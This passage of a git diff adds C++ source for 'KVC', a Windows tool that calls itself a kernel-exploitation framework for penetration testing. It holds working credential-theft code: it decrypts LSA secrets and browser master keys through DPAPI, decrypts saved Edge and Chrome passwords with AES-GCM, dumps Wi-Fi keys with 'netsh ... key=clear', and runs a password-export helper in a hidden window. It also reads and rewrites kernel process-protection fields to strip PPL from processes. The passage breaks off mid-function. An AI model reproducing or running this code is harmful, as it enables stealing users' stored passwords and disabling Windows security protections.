%d", static_cast(cleanHex.length())); + return false; + } + + bytes.clear(); + bytes.reserve(cleanHex.length() / 2); + + for (size_t i = 0; i < cleanHex.length(); i += 2) { + wchar_t* endPtr; + BYTE byteVal = static_cast(std::wcstoul(cleanHex.substr(i, 2).c_str(), &endPtr, 16)); + bytes.push_back(byteVal); + } + + return true; +} + +// Decrypt LSA secrets using CryptUnprotectData for display purposes +bool Controller::ProcessRegistryMasterKeys(std::vector& masterKeys) noexcept +{ + INFO(L"Processing and decrypting registry master keys..."); + + for (auto& masterKey : masterKeys) { + if (masterKey.encryptedData.empty()) continue; + + // LSA secrets are typically encrypted - attempt DPAPI decryption + DATA_BLOB encryptedBlob = { + static_cast(masterKey.encryptedData.size()), + masterKey.encryptedData.data() + }; + DATA_BLOB decryptedBlob = {}; + + // Try standard DPAPI first + if (CryptUnprotectData(&encryptedBlob, nullptr, nullptr, nullptr, nullptr, + CRYPTPROTECT_UI_FORBIDDEN, &decryptedBlob)) { + masterKey.decryptedData.assign(decryptedBlob.pbData, decryptedBlob.pbData + decryptedBlob.cbData); + LocalFree(decryptedBlob.pbData); + masterKey.isDecrypted = true; + + SUCCESS(L"Decrypted LSA secret: %s (%d bytes)", + masterKey.keyName.c_str(), static_cast(masterKey.decryptedData.size())); + } else { + // LSA secrets may be raw or use different encryption - keep as encrypted + // but still extract meaningful data for display + masterKey.decryptedData = masterKey.encryptedData; // Show raw data as fallback + masterKey.isDecrypted = true; + + INFO(L"LSA secret kept as raw data: %s (%d bytes)", + masterKey.keyName.c_str(), static_cast(masterKey.encryptedData.size())); + } + } + + return !masterKeys.empty(); +} + +// Convert byte vector to hex string for display +std::string Controller::BytesToHexString(const std::vector& bytes) noexcept +{ + if (bytes.empty()) return ""; + + std::ostringstream hexStream; + hexStream << std::hex << std::setfill('0'); + + for (const auto& byte : bytes) { + hexStream << std::setw(2) << static_cast(byte); + } + + return hexStream.str(); +} + +// Process browser passwords with master key decryption +bool Controller::ProcessBrowserPasswords(const std::vector& masterKeys, + std::vector& results, + const std::wstring& outputPath) noexcept +{ + INFO(L"Processing browser passwords with extracted master keys..."); + + // Only process Edge through DPAPI + char* appData; + size_t len; + _dupenv_s(&appData, &len, DPAPIConstants::GetLocalAppData().c_str()); + std::string localAppDataA(appData); + free(appData); + + std::wstring localAppData = StringToWString(localAppDataA); + auto edgePath = localAppData + DPAPIConstants::GetEdgeUserData(); + + bool edgeSuccess = ProcessSingleBrowser(edgePath, L"Edge", masterKeys, results, outputPath); + + return edgeSuccess; // Chrome handled separately +} + +bool Controller::ProcessSingleBrowser(const std::wstring& browserPath, + const std::wstring& browserName, + const std::vector& masterKeys, + std::vector& results, + const std::wstring& outputPath) noexcept +{ + if (!fs::exists(browserPath)) { + INFO(L"%s path not found: %s", browserName.c_str(), browserPath.c_str()); + return false; + } + + INFO(L"Processing %s browser data...", browserName.c_str()); + + std::vector browserMasterKey; + if (!ExtractBrowserMasterKey(browserPath, browserName, masterKeys, browserMasterKey)) { + ERROR(L"Failed to extract %s master key", browserName.c_str()); + return false; + } + + int passwordCount = 0; + for (const auto& entry : fs::directory_iterator(browserPath)) { + if (g_interrupted) { + INFO(L"Browser processing cancelled by user"); + break; + } + + if (entry.is_directory()) { + const auto filename = entry.path().filename().wstring(); + if (filename.find(L"Default") != std::wstring::npos || + filename.find(L"Profile") != std::wstring::npos) { + + auto loginDataPath = entry.path().wstring() + DPAPIConstants::GetLoginDataFile(); + if (fs::exists(loginDataPath)) { + passwordCount += ProcessLoginDatabase(loginDataPath, browserName, + filename, browserMasterKey, results, outputPath); + } + } + } + } + + INFO(L"Extracted %d passwords from %s", passwordCount, browserName.c_str()); + return passwordCount > 0; +} + +bool Controller::ExtractBrowserMasterKey(const std::wstring& browserPath, + const std::wstring& browserName, + const std::vector& masterKeys, + std::vector& decryptedKey) noexcept +{ + auto localStatePath = browserPath + DPAPIConstants::GetLocalStateFile(); + if (!fs::exists(localStatePath)) { + ERROR(L"Local State file not found: %s", localStatePath.c_str()); + return false; + } + + std::ifstream localStateFile(localStatePath); + std::string content((std::istreambuf_iterator(localStateFile)), std::istreambuf_iterator()); + + auto encryptedKeyMarker = DPAPIConstants::GetEncryptedKeyField(); + size_t keyPos = content.find(encryptedKeyMarker); + if (keyPos == std::string::npos) { + ERROR(L"encrypted_key not found in Local State"); + return false; + } + + size_t startQuote = content.find("\"", keyPos + encryptedKeyMarker.length()); + size_t endQuote = content.find("\"", startQuote + 1); + + if (startQuote == std::string::npos || endQuote == std::string::npos) { + ERROR(L"Failed to parse encrypted_key from JSON"); + return false; + } + + std::string encryptedKeyBase64 = content.substr(startQuote + 1, endQuote - startQuote - 1); + + std::vector encryptedKeyBytes = Base64Decode(encryptedKeyBase64); + if (encryptedKeyBytes.empty()) { + ERROR(L"Failed to decode base64 master key"); + return false; + } + + if (encryptedKeyBytes.size() > 5) { + encryptedKeyBytes = std::vector(encryptedKeyBytes.begin() + 5, encryptedKeyBytes.end()); + } else { + ERROR(L"Encrypted key too short"); + return false; + } + + decryptedKey = DecryptWithDPAPI(encryptedKeyBytes, masterKeys); + if (decryptedKey.empty()) { + ERROR(L"Failed to decrypt %s master key", browserName.c_str()); + return false; + } + + SUCCESS(L"%s master key decrypted successfully", browserName.c_str()); + return true; +} + +// Process SQLite login database with AES-GCM decryption +int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath, + const std::wstring& browserName, + const std::wstring& profileName, + const std::vector& masterKey, + std::vector& results, + const std::wstring& outputPath) noexcept +{ + std::wstring systemTempPath = GetSystemTempPath(); + auto tempDbPath = systemTempPath + L"\\" + DPAPIConstants::GetTempLoginDB(); + + try { + fs::copy_file(loginDataPath, tempDbPath, fs::copy_options::overwrite_existing); + } catch (...) { + ERROR(L"Failed to copy login database: %s", loginDataPath.c_str()); + return 0; + } + + void* db; + std::string tempDbPathA = WStringToString(tempDbPath); + + if (m_sqlite.open_v2(tempDbPathA.c_str(), &db, SQLITE_OPEN_READONLY, nullptr) != 0) { + ERROR(L"Failed to open SQLite database: %s", tempDbPath.c_str()); + fs::remove(tempDbPath); + return 0; + } + + void* stmt; + auto loginQuery = DPAPIConstants::GetLoginQuery(); + if (m_sqlite.prepare_v2(db, loginQuery.c_str(), -1, &stmt, nullptr) != 0) { + ERROR(L"Failed to prepare SQLite query"); + m_sqlite.close_v2(db); + fs::remove(tempDbPath); + return 0; + } + + int passwordCount = 0; + while (m_sqlite.step(stmt) == 100) { // SQLITE_ROW + if (g_interrupted) { + INFO(L"Database processing cancelled by user"); + break; + } + + PasswordResult result; + result.type = browserName + L"-LoginData"; + result.profile = profileName; + + if (auto urlText = m_sqlite.column_text(stmt, 0)) { + result.url = StringToWString(reinterpret_cast(urlText)); + } + + if (auto usernameText = m_sqlite.column_text(stmt, 1)) { + result.username = StringToWString(reinterpret_cast(usernameText)); + } + + const BYTE* pwdBytes = static_cast(m_sqlite.column_blob(stmt, 2)); + int pwdSize = m_sqlite.column_bytes(stmt, 2); + + if (pwdBytes && pwdSize > 0) { + std::vector encryptedPwd(pwdBytes, pwdBytes + pwdSize); + std::string decryptedPwd = DecryptChromeAESGCM(encryptedPwd, masterKey); + result.password = StringToWString(decryptedPwd); + result.status = DPAPIConstants::GetStatusDecrypted(); + + results.push_back(result); + passwordCount++; + } + } + + m_sqlite.finalize(stmt); + m_sqlite.close_v2(db); + fs::remove(tempDbPath); + + return passwordCount; +} + +// Extract WiFi credentials using netsh commands +bool Controller::ExtractWiFiCredentials(std::vector& results) noexcept +{ + INFO(L"Extracting WiFi passwords..."); + + FILE* pipe = _popen(DPAPIConstants::GetNetshShowProfiles().c_str(), "r"); + if (!pipe) { + ERROR(L"Failed to run netsh command"); + return false; + } + + std::string netshResult; + char buffer[128]; + while (fgets(buffer, sizeof(buffer), pipe)) { + netshResult += buffer; + } + _pclose(pipe); + + std::vector profiles; + size_t pos = 0; + const auto profileMarker = DPAPIConstants::GetWiFiProfileMarker(); + + while ((pos = netshResult.find(profileMarker, pos)) != std::string::npos) { + size_t start = netshResult.find(":", pos) + 2; + size_t end = netshResult.find("\n", start); + if (start != std::string::npos && end != std::string::npos) { + std::string profile = netshResult.substr(start, end - start); + + // Trim whitespace + profile.erase(0, profile.find_first_not_of(" \t\r\n")); + profile.erase(profile.find_last_not_of(" \t\r\n") + 1); + + if (!profile.empty()) { + profiles.push_back(profile); + } + } + pos = end; + } + + for (const auto& profile : profiles) { + if (g_interrupted) { + INFO(L"WiFi processing cancelled by user"); + break; + } + + std::string keyCommand = "netsh wlan show profile name=\"" + profile + "\" key=clear"; + FILE* keyPipe = _popen(keyCommand.c_str(), "r"); + if (!keyPipe) continue; + + std::string keyResult; + while (fgets(buffer, sizeof(buffer), keyPipe)) { + keyResult += buffer; + } + _pclose(keyPipe); + + size_t keyPos = keyResult.find("Key Content"); + if (keyPos != std::string::npos) { + size_t keyStart = keyResult.find(":", keyPos) + 2; + size_t keyEnd = keyResult.find("\n", keyStart); + if (keyStart != std::string::npos && keyEnd != std::string::npos) { + std::string password = keyResult.substr(keyStart, keyEnd - keyStart); + password.erase(0, password.find_first_not_of(" \t\r\n")); + password.erase(password.find_last_not_of(" \t\r\n") + 1); + + if (!password.empty()) { + PasswordResult wifiResult; + wifiResult.type = L"WiFi"; + wifiResult.profile = StringToWString(profile); + wifiResult.password = StringToWString(password); + wifiResult.status = DPAPIConstants::GetStatusDecrypted(); + results.push_back(wifiResult); + } + } + } + } + + return true; +} + +// SQLite library loading +bool Controller::LoadSQLiteLibrary() noexcept +{ + m_sqlite.hModule = LoadLibraryW(L"winsqlite3.dll"); + if (!m_sqlite.hModule) { + ERROR(L"winsqlite3.dll not found - Windows 10/11 required"); + return false; + } + + // Database connection management functions + m_sqlite.open_v2 = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_open_v2")); + m_sqlite.close_v2 = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_close_v2")); + + // Statement preparation and cleanup functions + m_sqlite.prepare_v2 = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_prepare_v2")); + m_sqlite.finalize = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_finalize")); + + // Query execution function + m_sqlite.step = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_step")); + + // Column data retrieval functions + m_sqlite.column_text = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_column_text")); + m_sqlite.column_blob = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_column_blob")); + m_sqlite.column_bytes = reinterpret_cast( + GetProcAddress(m_sqlite.hModule, "sqlite3_column_bytes")); + + // Verify all required functions were loaded successfully + if (!m_sqlite.open_v2 || !m_sqlite.close_v2 || // Database lifecycle + !m_sqlite.prepare_v2 || !m_sqlite.finalize || // Statement lifecycle + !m_sqlite.step || // Query execution + !m_sqlite.column_text || !m_sqlite.column_blob || // Data retrieval + !m_sqlite.column_bytes) { // Data size info + ERROR(L"Failed to load required winsqlite3.dll functions"); + UnloadSQLiteLibrary(); + return false; + } + + SUCCESS(L"winsqlite3.dll loaded successfully with all required functions"); + return true; +} + +void Controller::UnloadSQLiteLibrary() noexcept +{ + if (m_sqlite.hModule) { + FreeLibrary(m_sqlite.hModule); + m_sqlite.hModule = nullptr; + } +} + +// Base64 decode using Windows CryptAPI +std::vector Controller::Base64Decode(const std::string& encoded) noexcept +{ + DWORD decodedSize = 0; + + if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &decodedSize, nullptr, nullptr)) { + return {}; + } + + std::vector decoded(decodedSize); + if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, decoded.data(), &decodedSize, nullptr, nullptr)) { + return {}; + } + + decoded.resize(decodedSize); + return decoded; +} + +// DPAPI decryption for browser master keys +std::vector Controller::DecryptWithDPAPI(const std::vector& encryptedData, + const std::vector& masterKeys) noexcept +{ + DATA_BLOB in = { static_cast(encryptedData.size()), const_cast(encryptedData.data()) }; + DATA_BLOB out = {}; + + if (CryptUnprotectData(&in, nullptr, nullptr, nullptr, nullptr, CRYPTPROTECT_UI_FORBIDDEN, &out)) { + std::vector result(out.pbData, out.pbData + out.cbData); + LocalFree(out.pbData); + return result; + } + + return {}; +} + +// Chrome AES-GCM decryption for v10+ password format +std::string Controller::DecryptChromeAESGCM(const std::vector& encryptedData, + const std::vector& key) noexcept +{ + // Check for Chrome v10+ format + if (encryptedData.size() >= 15 && + encryptedData[0] == 'v' && + encryptedData[1] == '1' && + encryptedData[2] == '0') { + + std::vector nonce(encryptedData.begin() + 3, encryptedData.begin() + 15); + std::vector ciphertext(encryptedData.begin() + 15, encryptedData.end() - 16); + std::vector tag(encryptedData.end() - 16, encryptedData.end()); + + BCRYPT_ALG_HANDLE hAlg = nullptr; + NTSTATUS status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0); + if (status != 0) return ""; + + status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, + reinterpret_cast(const_cast(BCRYPT_CHAIN_MODE_GCM)), + sizeof(BCRYPT_CHAIN_MODE_GCM), 0); + if (status != 0) { + BCryptCloseAlgorithmProvider(hAlg, 0); + return ""; + } + + BCRYPT_KEY_HANDLE hKey = nullptr; + status = BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, + const_cast(key.data()), + static_cast(key.size()), 0); + if (status != 0) { + BCryptCloseAlgorithmProvider(hAlg, 0); + return ""; + } + + BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; + BCRYPT_INIT_AUTH_MODE_INFO(authInfo); + authInfo.pbNonce = nonce.data(); + authInfo.cbNonce = static_cast(nonce.size()); + authInfo.pbTag = tag.data(); + authInfo.cbTag = static_cast(tag.size()); + + std::vector plaintext(ciphertext.size()); + ULONG cbResult = 0; + + status = BCryptDecrypt(hKey, ciphertext.data(), + static_cast(ciphertext.size()), + &authInfo, nullptr, 0, + plaintext.data(), + static_cast(plaintext.size()), + &cbResult, 0); + + BCryptDestroyKey(hKey); + BCryptCloseAlgorithmProvider(hAlg, 0); + + if (status == 0) { + return std::string(plaintext.begin(), plaintext.begin() + cbResult); + } + } + + // Fallback for legacy formats + return std::string(encryptedData.begin(), encryptedData.end()); +} + +bool Controller::EnablePrivilege(LPCWSTR privilegeName) noexcept +{ + HANDLE hToken; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { + return false; + } + + LUID luid; + if (!LookupPrivilegeValueW(nullptr, privilegeName, &luid)) { + CloseHandle(hToken); + return false; + } + + TOKEN_PRIVILEGES tp = {}; + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr); + DWORD lastError = GetLastError(); + CloseHandle(hToken); + + return result && (lastError == ERROR_SUCCESS); +} + +// Browser data extraction with kvc_pass integration +bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept +{ + INFO(L"Starting browser password extraction for %s", browserType.c_str()); + + // Check for kvc_pass.exe in current directory and system directories + std::wstring decryptorPath = L"kvc_pass.exe"; + if (GetFileAttributesW(decryptorPath.c_str()) == INVALID_FILE_ATTRIBUTES) { + // Try system32 directory + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) { + decryptorPath = std::wstring(systemDir) + L"\\kvc_pass.exe"; + if (GetFileAttributesW(decryptorPath.c_str()) == INVALID_FILE_ATTRIBUTES) { + ERROR(L"kvc_pass.exe not found in current directory or system directory"); + ERROR(L"Please ensure kvc_pass.exe is in the same directory as kvc.exe or in System32"); + return false; + } + } else { + ERROR(L"Failed to get system directory path"); + return false; + } + } + + // Validate browser type + if (browserType != L"chrome" && browserType != L"brave" && browserType != L"edge") { + ERROR(L"Unsupported browser type: %s. Supported: chrome, brave, edge", browserType.c_str()); + return false; + } + + // Create command line for kvc_pass + std::wstring commandLine = L"\"" + decryptorPath + L"\" " + browserType + + L" --output-path \"" + outputPath + L"\""; + + STARTUPINFOW si = {}; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + + PROCESS_INFORMATION pi = {}; + + if (!CreateProcessW(nullptr, const_cast(commandLine.c_str()), + nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi)) { + ERROR(L"Failed to start kvc_pass: %d", GetLastError()); + return false; + } + + // Wait for completion with timeout + DWORD waitResult = WaitForSingleObject(pi.hProcess, 30000); // 30 seconds timeout + + DWORD exitCode = 0; + GetExitCodeProcess(pi.hProcess, &exitCode); + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + if (waitResult == WAIT_TIMEOUT) { + ERROR(L"kvc_pass timed out"); + return false; + } + + if (exitCode != 0) { + ERROR(L"kvc_pass failed with exit code: %d", exitCode); + return false; + } + + SUCCESS(L"Browser passwords extracted successfully using kvc_pass"); + return true; +} \ No newline at end of file diff --git a/kvc/ControllerProcessOperations.cpp b/kvc/ControllerProcessOperations.cpp new file mode 100644 index 0000000..52b36e4 --- /dev/null +++ b/kvc/ControllerProcessOperations.cpp @@ -0,0 +1,697 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "Controller.h" +#include "common.h" +#include "Utils.h" +#include +#include +#include +#include + +extern volatile bool g_interrupted; + +// Kernel process operations with interruption handling +std::optional Controller::GetInitialSystemProcessAddress() noexcept { + auto kernelBase = Utils::GetKernelBaseAddress(); + if (!kernelBase) return std::nullopt; + + auto offset = m_of->GetOffset(Offset::KernelPsInitialSystemProcess); + if (!offset) return std::nullopt; + + ULONG_PTR pPsInitialSystemProcess = Utils::GetKernelAddress(kernelBase.value(), offset.value()); + return m_rtc->ReadPtr(pPsInitialSystemProcess); +} + +std::optional Controller::GetProcessKernelAddress(DWORD pid) noexcept { + auto processes = GetProcessList(); + for (const auto& entry : processes) { + if (entry.Pid == pid) + return entry.KernelAddress; + } + + ERROR(L"Failed to find kernel address for PID %d", pid); + return std::nullopt; +} + +// Process enumeration with comprehensive interruption support +std::vector Controller::GetProcessList() noexcept { + std::vector processes; + + if (g_interrupted) { + INFO(L"Process enumeration cancelled by user before start"); + return processes; + } + + auto initialProcess = GetInitialSystemProcessAddress(); + if (!initialProcess) return processes; + + auto uniqueIdOffset = m_of->GetOffset(Offset::ProcessUniqueProcessId); + auto linksOffset = m_of->GetOffset(Offset::ProcessActiveProcessLinks); + + if (!uniqueIdOffset || !linksOffset) return processes; + + ULONG_PTR current = initialProcess.value(); + DWORD processCount = 0; + + do { + if (g_interrupted) { + break; + } + + auto pidPtr = m_rtc->ReadPtr(current + uniqueIdOffset.value()); + + if (g_interrupted) { + break; + } + + auto protection = GetProcessProtection(current); + + std::optional signatureLevel = std::nullopt; + std::optional sectionSignatureLevel = std::nullopt; + + auto sigLevelOffset = m_of->GetOffset(Offset::ProcessSignatureLevel); + auto secSigLevelOffset = m_of->GetOffset(Offset::ProcessSectionSignatureLevel); + + if (g_interrupted) { + break; + } + + if (sigLevelOffset) + signatureLevel = m_rtc->Read8(current + sigLevelOffset.value()); + if (secSigLevelOffset) + sectionSignatureLevel = m_rtc->Read8(current + secSigLevelOffset.value()); + + if (pidPtr && protection) { + ULONG_PTR pidValue = pidPtr.value(); + + if (pidValue > 0 && pidValue <= MAXDWORD) { + ProcessEntry entry{}; + entry.KernelAddress = current; + entry.Pid = static_cast(pidValue); + entry.ProtectionLevel = Utils::GetProtectionLevel(protection.value()); + entry.SignerType = Utils::GetSignerType(protection.value()); + entry.SignatureLevel = signatureLevel.value_or(0); + entry.SectionSignatureLevel = sectionSignatureLevel.value_or(0); + + if (g_interrupted) { + break; + } + + std::wstring basicName = Utils::GetProcessName(entry.Pid); + + // Resolve unknown processes using enhanced detection + if (basicName == L"[Unknown]") { + entry.ProcessName = Utils::ResolveUnknownProcessLocal( + entry.Pid, + entry.KernelAddress, + entry.ProtectionLevel, + entry.SignerType + ); + } else { + entry.ProcessName = basicName; + } + + processes.push_back(entry); + processCount++; + } + } + + if (g_interrupted) { + break; + } + + auto nextPtr = m_rtc->ReadPtr(current + linksOffset.value()); + if (!nextPtr) break; + + current = nextPtr.value() - linksOffset.value(); + + // Safety limit to prevent infinite loops + if (processCount >= 10000) { + break; + } + + } while (current != initialProcess.value() && !g_interrupted); + + return processes; +} + +std::optional Controller::GetProcessProtection(ULONG_PTR addr) noexcept { + auto offset = m_of->GetOffset(Offset::ProcessProtection); + if (!offset) return std::nullopt; + + return m_rtc->Read8(addr + offset.value()); +} + +bool Controller::SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept { + auto offset = m_of->GetOffset(Offset::ProcessProtection); + if (!offset) return false; + + return m_rtc->Write8(addr + offset.value(), protection); +} + +// Process name resolution with atomic driver operations +std::optional Controller::ResolveProcessName(const std::wstring& processName) noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return std::nullopt; + } + + auto matches = FindProcessesByName(processName); + + if (matches.empty()) { + ERROR(L"No process found matching pattern: %s", processName.c_str()); + PerformAtomicCleanup(); + return std::nullopt; + } + + if (matches.size() == 1) { + INFO(L"Found process: %s (PID %d)", matches[0].ProcessName.c_str(), matches[0].Pid); + PerformAtomicCleanup(); + return matches[0]; + } + + ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str()); + for (const auto& match : matches) { + std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n"; + } + + PerformAtomicCleanup(); + return std::nullopt; +} + +std::vector Controller::FindProcessesByName(const std::wstring& pattern) noexcept { + std::vector matches; + auto processes = GetProcessList(); + + for (const auto& entry : processes) { + if (IsPatternMatch(entry.ProcessName, pattern)) { + ProcessMatch match; + match.Pid = entry.Pid; + match.ProcessName = entry.ProcessName; + match.KernelAddress = entry.KernelAddress; + matches.push_back(match); + } + } + + return matches; +} + +// Driver-free process name resolution for lightweight operations +std::optional Controller::ResolveNameWithoutDriver(const std::wstring& processName) noexcept { + auto matches = FindProcessesByNameWithoutDriver(processName); + + if (matches.empty()) { + ERROR(L"No process found matching pattern: %s", processName.c_str()); + return std::nullopt; + } + + if (matches.size() == 1) { + INFO(L"Found process: %s (PID %d)", matches[0].ProcessName.c_str(), matches[0].Pid); + return matches[0]; + } + + ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str()); + for (const auto& match : matches) { + std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n"; + } + + return std::nullopt; +} + +std::vector Controller::FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept { + std::vector matches; + + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) { + return matches; + } + + PROCESSENTRY32W pe; + pe.dwSize = sizeof(PROCESSENTRY32W); + + if (Process32FirstW(hSnapshot, &pe)) { + do { + std::wstring processName = pe.szExeFile; + + if (IsPatternMatch(processName, pattern)) { + ProcessMatch match; + match.Pid = pe.th32ProcessID; + match.ProcessName = processName; + match.KernelAddress = 0; // Not available without driver + matches.push_back(match); + } + } while (Process32NextW(hSnapshot, &pe)); + } + + CloseHandle(hSnapshot); + return matches; +} + +// Advanced pattern matching with regex support +bool Controller::IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept { + std::wstring lowerProcessName = processName; + std::wstring lowerPattern = pattern; + + // Convert to lowercase for case-insensitive matching + std::transform(lowerProcessName.begin(), lowerProcessName.end(), lowerProcessName.begin(), ::towlower); + std::transform(lowerPattern.begin(), lowerPattern.end(), lowerPattern.begin(), ::towlower); + + // Exact match + if (lowerProcessName == lowerPattern) return true; + + // Substring match + if (lowerProcessName.find(lowerPattern) != std::wstring::npos) return true; + + // Wildcard pattern matching + std::wstring regexPattern = lowerPattern; + + // Escape special regex characters except * + std::wstring specialChars = L"\\^$.+{}[]|()"; + + for (auto& ch : regexPattern) { + if (specialChars.find(ch) != std::wstring::npos) { + regexPattern = std::regex_replace(regexPattern, std::wregex(std::wstring(1, ch)), L"\\" + std::wstring(1, ch)); + } + } + + // Convert * wildcards to regex .* + regexPattern = std::regex_replace(regexPattern, std::wregex(L"\\*"), L".*"); + + try { + std::wregex regex(regexPattern, std::regex_constants::icase); + return std::regex_search(lowerProcessName, regex); + } catch (const std::regex_error&) { + return false; + } +} + +// Process information retrieval with atomic operations +bool Controller::GetProcessProtection(DWORD pid) noexcept { + bool driverWasLoaded = IsDriverCurrentlyLoaded(); + bool needsCleanup = false; + + // Only initialize driver if not already loaded + if (!driverWasLoaded) { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + needsCleanup = true; + } + + auto kernelAddr = GetProcessKernelAddress(pid); + if (!kernelAddr) { + ERROR(L"Failed to get kernel address for PID %d", pid); + if (needsCleanup) PerformAtomicCleanup(); + return false; + } + + auto currentProtection = GetProcessProtection(kernelAddr.value()); + if (!currentProtection) { + ERROR(L"Failed to read protection for PID %d", pid); + if (needsCleanup) PerformAtomicCleanup(); + return false; + } + + UCHAR protLevel = Utils::GetProtectionLevel(currentProtection.value()); + UCHAR signerType = Utils::GetSignerType(currentProtection.value()); + + if (currentProtection.value() == 0) { + INFO(L"PID %d (%s) is not protected", pid, Utils::GetProcessName(pid).c_str()); + } else { + INFO(L"PID %d (%s) protection: %s-%s (raw: 0x%02x)", + pid, + Utils::GetProcessName(pid).c_str(), + Utils::GetProtectionLevelAsString(protLevel), + Utils::GetSignerTypeAsString(signerType), + currentProtection.value()); + } + + if (needsCleanup) { + PerformAtomicCleanup(); + } + + return true; +} + +bool Controller::GetProcessProtectionByName(const std::wstring& processName) noexcept { + auto match = ResolveNameWithoutDriver(processName); + if (!match) { + return false; + } + + return GetProcessProtection(match->Pid); +} + +// Enhanced protected process listing with color visualization +bool Controller::ListProtectedProcesses() noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto processes = GetProcessList(); + DWORD count = 0; + + // Enable console virtual terminal processing for color output + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + DWORD consoleMode = 0; + GetConsoleMode(hConsole, &consoleMode); + SetConsoleMode(hConsole, consoleMode | ENABLE_VIRTUAL_TERMINAL_PROCESSING); + + // ANSI color codes + auto GREEN = L"\033[92m"; + auto YELLOW = L"\033[93m"; + auto BLUE = L"\033[94m"; + auto HEADER = L"\033[97;44m"; + auto RESET = L"\033[0m"; + + std::wcout << GREEN; + std::wcout << L"\n -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; + std::wcout << HEADER; + std::wcout << L" PID | Process Name | Level | Signer | EXE sig. level | DLL sig. level | Kernel addr. "; + std::wcout << RESET << L"\n"; + std::wcout << GREEN; + std::wcout << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; + + for (const auto& entry : processes) { + if (entry.ProtectionLevel > 0) { + const wchar_t* processColor = GREEN; + + // Color coding based on signature levels + bool hasUncheckedSignatures = (entry.SignatureLevel == 0x00 || entry.SectionSignatureLevel == 0x00); + + if (hasUncheckedSignatures) { + processColor = BLUE; // Blue for processes with unchecked signatures + } else { + // Check if it's a user process (non-system signer) + bool isUserProcess = (entry.SignerType != static_cast(PS_PROTECTED_SIGNER::Windows) && + entry.SignerType != static_cast(PS_PROTECTED_SIGNER::WinTcb) && + entry.SignerType != static_cast(PS_PROTECTED_SIGNER::WinSystem) && + entry.SignerType != static_cast(PS_PROTECTED_SIGNER::Lsa)); + processColor = isUserProcess ? YELLOW : GREEN; + } + + std::wcout << processColor; + wchar_t buffer[512]; + swprintf_s(buffer, L" %6d | %-28s | %-3s (%d) | %-11s (%d) | %-14s (0x%02x) | %-14s (0x%02x) | 0x%016llx\n", + entry.Pid, + entry.ProcessName.c_str(), + Utils::GetProtectionLevelAsString(entry.ProtectionLevel), + entry.ProtectionLevel, + Utils::GetSignerTypeAsString(entry.SignerType), + entry.SignerType, + Utils::GetSignatureLevelAsString(entry.SignatureLevel), + entry.SignatureLevel, + Utils::GetSignatureLevelAsString(entry.SectionSignatureLevel), + entry.SectionSignatureLevel, + entry.KernelAddress); + std::wcout << buffer; + count++; + } + } + + std::wcout << GREEN; + std::wcout << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n"; + std::wcout << RESET << L"\n"; + + SUCCESS(L"Enumerated %d protected processes", count); + + PerformAtomicCleanup(); + + return true; +} + +// Process protection manipulation with atomic operations +bool Controller::UnprotectProcess(DWORD pid) noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto kernelAddr = GetProcessKernelAddress(pid); + if (!kernelAddr) { + 